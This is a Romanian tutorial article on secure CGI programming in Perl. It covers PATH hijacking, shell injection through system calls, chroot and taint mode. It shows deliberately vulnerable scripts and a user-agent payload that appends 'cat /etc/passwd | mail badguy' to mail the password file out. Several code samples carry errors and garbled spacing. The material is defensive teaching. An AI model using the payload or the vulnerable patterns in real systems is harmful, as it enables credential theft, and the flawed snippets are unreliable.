Programare CGI sigură în Perl

„Pentru obtinerea unui rezultat există mai multe căi“

Péter Csaba

Limbajul Perl este un limbaj in terpretat - compilat în timpul încărcării. Initial a fost scris de către Larry Wall pentru a usura niste sarcini administrative, fiindcă nu a vrut să folosească alte programe care aveau limitări însemnate.

Limbajul se poate învăta foarte usor deoarece contine elemente bine cunoscute din alte limbaje.

Se pot scrie programe eficiente cu noscând doar o mică parte a limbajului, iar programele pot fi testate imediat datorită executiei foarte rapide a acestora.

La baza programării stau unelte ca C, sed, awk si sh, deci cunoasterea acestora ajută mult la învătarea limbajului Perl.

În Perl, munca programatorului este limi tată doar de capacitătile hardware ale calculatorului. Un întreg fisier poate fi citit într-o singură variabilă de tip string (dacă avem suficientă memorie). Putem apela functii recursive de orice adâncime (dacă avem răbdare si memorie). Totodată, Perl are un mecanism foarte eficient de căutare si înlocuire într-un text după un model dat (initial era conceput pentru prelucrarea fisierelor de tip text, asa cum arată si numele lui Practical Extraction and Report Language).

De la versiunea 5 putem folosi deja programarea modulară si programarea orientată object. În Perl programele setuid sunt mult mai sigure decât în C datorită unui mecanism care urmăreste evolutia datelor, acesta putând fi activat cu ajutorul parametrului -T în linia de comandă. Astfel, apeluri de sistem care necesită o securitate mare nu vor fi executate, dacă se bazează pe informatii primite de la utilizator.

Cu ajutorul acestui limbaj se pot scrie foarte usor programe CGI (Common Gate Interface), ale căror rezultate de obicei apar într-o pagina WWW, singurul lucru la care trebuie să avem mare atentie este securitatea sistemului nostru, adică serverul pe care vor rula aceste programe.

Mediul.

Ca si în alte programe, si în Perl mediul în care rulează un program CGI poate fi controlat într-o mare măsură. Initial acest me diu este setat de către serverul Web, care poate fi acelasi cu mediul serverului sau mo di ficat doar pentru programe CGI (aceasta depinde de serverul pe care-l folosim). Mediul în care rulează un program CGI, poate să schimbe comportamentul programului si rezultatele lui.

De exemplu, variabila de mediu PATH este folosită de un program CGI pentru a căuta alte aplicatii care sunt lansate din cadrul programului CGI. Dacă variabila PATH era setată la /bin:/usr/bin:/usr/local /bin, si a fost lansat programul ls, atunci programul va fi căutat în aceste trei directoare. Se asteptă ca programul ls să fie găsit (/bin/ls pe cele mai multe sisteme de operare UNIX).

Dacă variabila PATH ar fi fost setată la /tmp:/bin:/usr/bin (de către server sau de programator), iar Larry Stan putea să lucreze la un proiect oarecare pe acelasi sistem, creând un script temporar numit /tmp/ls (după initialele lui), când programul CGI caută si lansează comanda ls în loc de /bin/ls va rula /tmp/ls care va avea desi gur alte rezultate decât cele la care ne-am fi asteptat.

Controlul mediului în Perl

Ca să schimbăm o variabilă de mediu in Perl, trebuie să manipulăm un tablou asociativ: %ENV. Variabilele de mediu deja existente în UNIX si pe care am dori să le schimbăm sunt PATH, IPS si SHELL.

După cum am mentionat în rândurile precedente, majoritatea serverelor vor seta o serie de variabile de mediu ca programul CGI să le folosească. Acestea includ (la fiecare server poate fi diferit):

AUTH_TYPE, CONTENT_LENGHT, DOCUMENT_ROOT, HTTP_CONNECTION,
HTTP_HOST, HTTP_USER_AGENT, PATH, QUERY_STRING, REMOTE_ADDR,
REMOTE_HOST, REMOTE_USER, REQUEST_METHOD, SERVER_ADMIN,
SERVER_NAME, SERVER_ROOT si SERVER_PROTOCOL.

Ca să aflăm valoarea unei variabile, HTTP_USER_AGENT, de exemplu, programul trebuie doar să facă o referire cu cheia respectivă in tabloul asociativ. De exemplu:

felix> cat /var/httpd/cgi-bin/get-browser.bad
#!/bin/perl
$browser = $ENV{ 'HTTP_USER_AGENT'} ;

Acum, variabila $browser este gata pentru prelucrare. Este bine de retinut ca tipul browserului este setat însăsi de brow ser, si de aceea nu este întelept să-l folosim orbeste într-un script. Este întelept ca înainte să-l salvăm într-un fisier „log“ sau să-l dăm ca parametru într-un apel de sistem, să ne uităm dacă nu contine caractere nedorite sau neasteptate. De exemplu:

felix> cat /var/httpd/cgi-bin/get-browser.good
#!/bin/perl
$browser = $ENV{ 'HTTP_USER_AGENT'} ;
die if ($browser =~ /;|\ ||\ '|\ `|\ *|\ ?|\ <|\ >|\ &|\ ^|\ (|\ )|\ $|\ !/);
die if (strlen($browser)>200);

În cazul în care nu doriti ca executia programului să se termine imediat dacă una dintre cele două conditii a fost adevărată, va trebui să luati măsuri de precautie înainte să manipulati sau să folositi variabila $browser. Prima linie determină dacă unul dintre caracterele speciale de shell se află în definitie. Unele browsere legale folosesc aceste caractere, dar noi vrem să filtrăm, să se termine imediat, dacă unul dintre variabila $browser într-un apel de sistem în sigu rantă.

A doua linie detecteaza dacă definitia browserului nu este suspicios de lungă. Două sute de caractere fiind mai mult decât necesare pentru definirea unui browser, tot ceea ce este mai lung decât aceasta poate indica o exploatare a unui punct slab într-un server (dacă există).

Variabila de mediu PATH

O recapitulare foarte rapidă: Variabila de mediu PATH determină unde să caute programele locul aplicatiilor pe care trebuie să le execute. Controlul acestei variabile este exact acelasi cu cel descris înainte, deoarece este doar o altă variabilă de mediu in Perl:

felix> cat /var/httpd/cgi-bin/path-set.basic
#!/bin/perl
$ENV{ 'PATH'} = '/bin:/usr/bin:/usr/etc';

Folositi cu precautie! Dacă programul setează variabila PATH bazată pe date introduse de utilizator, închipuiti-vă ce s-ar putea întămpla:

felix> cat /var/httpd/cgi-bin/path-set
#!/bin/perl5
use CGI;
$ENV{ 'PATH'} = $query->param('path-input');
system('ls','/opt/httpd/profiles/internal');

Pentru acest program am folosit un mo dul de programare CGI.pm foarte util pentru scrierea programelor CGI. Linia a 2-a specifică interpretorului Perl să încarce acest modul. Linia a 3-a setează variabila de mediu PATH la valoarea variabilei numită path-input. Acestă variabilă path-input este numită în formularul aflat în fisierul HTML din care este apelat programul nostru path-set. Linia a 4-a lansează programul ls.

Dacă în formularul HTML utilizatorul introduce /bin:/usr/bin:/usr/etc programul va functiona după cum ne-am asteptat ( /bin/ls este executat si rezultatul este tri mis browserului). Dacă un utilizator introduce /tmp:/bin:/usr/bin, atunci comportamentul programului poate fi schimbat din nou de către Larry Stan si programul lui /tmp/ls. Închipuiti-vă dacă programul doar sterge fisierele primite ca parametru!

La proiectarea programului am gresit fiindcă am avut încredere în datele introduse de utilizator. Programul trebuie să aibă variabila PATH fixată si este bine să nu schimbăm variabilele de mediu folosind date primite de la utilizator.

Apeluri de sistem în Perl

În Perl putem avea apelurile de sistem în diferite forme, ori apelând functia „system“, sau folosim semnele ' ' între care pu nem numele programului pe care dorim să-l executăm sau executăm un apel open.

#!/bin/perl
$ENV{ 'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/local/bin';
$browser = $ENV{ 'HTTP_USER_AGENT'} ;
system("record_type $browser");

sau

#!/bin/perl
$ENV{ 'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/local/bin';
$browser = $ENV{ 'HTTP_USER_AGENT'} ;
'record_type $browser';

sau

#!/bin/perl
$ENV{ 'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/local/bin';
$browser = $ENV{ 'HTTP_USER_AGENT'} ;
open(P_RECORD, "record_type $browser|") || die;

Daca browserul nu ar fi fost un browser adevărat, doar un program care încearcă să atace serverul nostru de Web, putea să definească variabila HTTP_USER_A GENT ca netscape;cat /etc/passwd | mail badguy. Apelurile de sistem prezentate anterior vor lansa o comandă shell date fiind ca parametru programele. În exemplul nostru, comanda finală care a fost executată sub UNIX a fost

/bin/sh-c record_type netscape; cat /etc/passwd | mail badguy

Ops! Deoarece ; este un separator de comenzi în Bourne shell, lansăm mai multe comenzi decât am vrut initial. Partea înspăi mântătoare în această situatie este că am primit tipul browserului (care pare să fie în ordine), dar în acelasi timp, fără să stim, am trimis fisierul cu parole unui posibil hacker.

O metodă mai sigură în Perl este

#!/bin/perl
$ENV{ 'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/local/bin';
$browser = $ENV{ 'HTTP_USER_AGENT'} ;
system("record_type", "$brows
er");

În acest caz, apelul de sistem din Perl va face o combinatie de fork/exec, si în acest fel ; nu mai este un separator de comenzi. Programul ar memora ca tip the browser netscape; cat /etc/passwd | mail badguy (care ar fi un semn de alarmă dacă îl obser văm în fisierul „log“), dar niciodată nu ar trimite fisierul cu parole la persoane dubi oase.

chroot si chdir în Perl

În C aveam două apeluri de sistem, chroot si chdir. Si în Perl putem găsi aceste apeluri, iar scopul lor este de a restrânge „imaginea“ sistemului de fisiere pe care poate să-l vadă un program aflat în executie.

felix> cat /var/httpd/cgi-bin/count-password.bad
#!/bin/perl
open(F_PASSWD,'/etc/passwd') || die;
while (<F_PASSWD>){ 
$I++;
} 

 

$ret = chroot('/local/frame/root');
die if ($ret ==1);
$ret = chdir('/');
die if ($ret ==1);

Acest program are o eroare de pro iectare. Deschide fisierul passwd si îl lasă deschis (nu există un apel close). După chroot, programul tot are dreptul la fisierul passwd. În loc de acesta ar fi trebuit să scriem

felix> cat /var/httpd/cgi-bin/count-password.good
#!/bin/perl
open(F_PASSWD,'/etc/passwd') || die;
while (<F_PASSWD>){ 
$I++;
} 
close(F_PASSWD);

 

$ret = chroot('/local/frame/root');
die if ($ret ==1);
$ret = chdir('/');
die if ($ret ==1);

Variabile sigure în Perl

Perl -ul este constient de unde au provenit datele, ce variabile au fost setate înainte de a fi verificate si unde foloseste programatorul aceste date. Dacă o variabilă este seta tă dinamic, luând o valoare de la linia de comandă, dintr-un fisier, sau ia valoarea unei variabile de mediu pe care programa torul nu l-a specificat initial, atunci variabila este considerată tainted, adică nesigu ră. De exemplu,

felix> cat /var/httpd/cgi-bin/record-type.bad
#!/bin/perl
'record_type $ENV{ 'HTTP_USER_AGENT'} ';

Interpretorul specificat în prima linie (/bin/perl) nu va tine cont dacă dăm date periculoase unui shell. În acest caz, variabila de mediu HTTP_USER_AGENT, care vine de la utilizator si nu este de încredere, poate să fie prietenul nostru netscape; cat /etc/passwd | mail badguy si ar trimite din nou fisierul cu parole.

Interpretorul lansat diferit, înainte să lanseze record_type ar fi spus „Hey! Nu te-ai uitat la variabila periculoasă care provine de la browser înainte ca să-l dai ca parametru unui apel de sistem care lansează un shell. Ce se întâmplă dacă introduce ceva neasteptat? Nu las ca acesta să se întâmle, opresc executia programului.“ Acest script ar arăta astfel

Perl 4
felix> cat /var/httpd/cgi-bin/record-type.taintperl4
#!/bin/taintperl
'record_type $ENV{ 'HTTP_USER_AGENT'} ';

sau

Perl5
felix> cat /var/httpd/cgi-bin/record-type.bad
#!/bin/perl5 -T
'record_type $ENV{ 'HTTP_USER_AGENT'} ';

si ar opri executia la linia a doua, neru lând niciodată programul record_type. Acesta este foarte util când scriem programe CGI, deoarece programul se va opri înainte ca pericolul să înceapă.

Desigur, vrem ca programul să ruleze în sigurantă după cum am conceput initial. Ce trebuie modificat? Mai jos este prezentat acelasi program în Perl 4 si Perl 5, unde mai întâi ne uităm dacă variabila de mediu HTTP_USER_AGENT contine ceva peri culos.

Perl 4
felix> cat /var/httpd/cgi-bin/record-type.taintperl4.good
#!/bin/taintperl
$ENV{ 'PATH'} = '/bin:/usr/bin';
$ENV{ 'IFS'} = '';
($untainted) = $ENV{ 'HTTP_USER_AGENT'} =~ /^(\ w+)$/;
'record_type $untainted';

sau

Perl5
felix> cat /var/httpd/cgi-bin/record-type.bad
#!/bin/perl5 -T
$ENV{ 'PATH'} = '/bin:/usr/bin';
$ENV{ 'IFS'} = '';
($untainted) = $ENV{ 'HTTP_USER_AGENT'} =~ /^(\ w+)$/;
'record_type $untainted';

În linia a 4-a, ne uităm dacă variabila de mediu contine doar litere, si în acest caz variabila $untainted va lua valoarea acestuia. Perl, ca de obicei, urmăreste această variabilă, îl marchează „untainted“ (curat), si când va fi folosită în apelul record_type, Perl nu va mai opri executia.

Mai multe informatii

Pentru simplificarea implementării scripturilor CGI în Perl 4 si Perl 5 există niste biblioteci pe care le putem folosi. Modu lul Perl CGI.pm, poate fi obtinut de la ftp://ftp-genome.wi.mit.edu/pub/software/WWW/. Există si un modul Perl 5 care abstarctizează procesul de primire date dintr-un formular si trimitere de date intr-o pagină Web. Perl 4 si care are un pachet numit cgi-lib.pl, care poate fi obtinut de la http://www.bio.cam.ac.uk/cgi-lib.

Péter Csaba este student la Universitatea Petru Maior din Tg. Mures si Webmaster pentru situl http://www.uttgm.ro. Poate fi contactat la: cpeter@uttgm.ro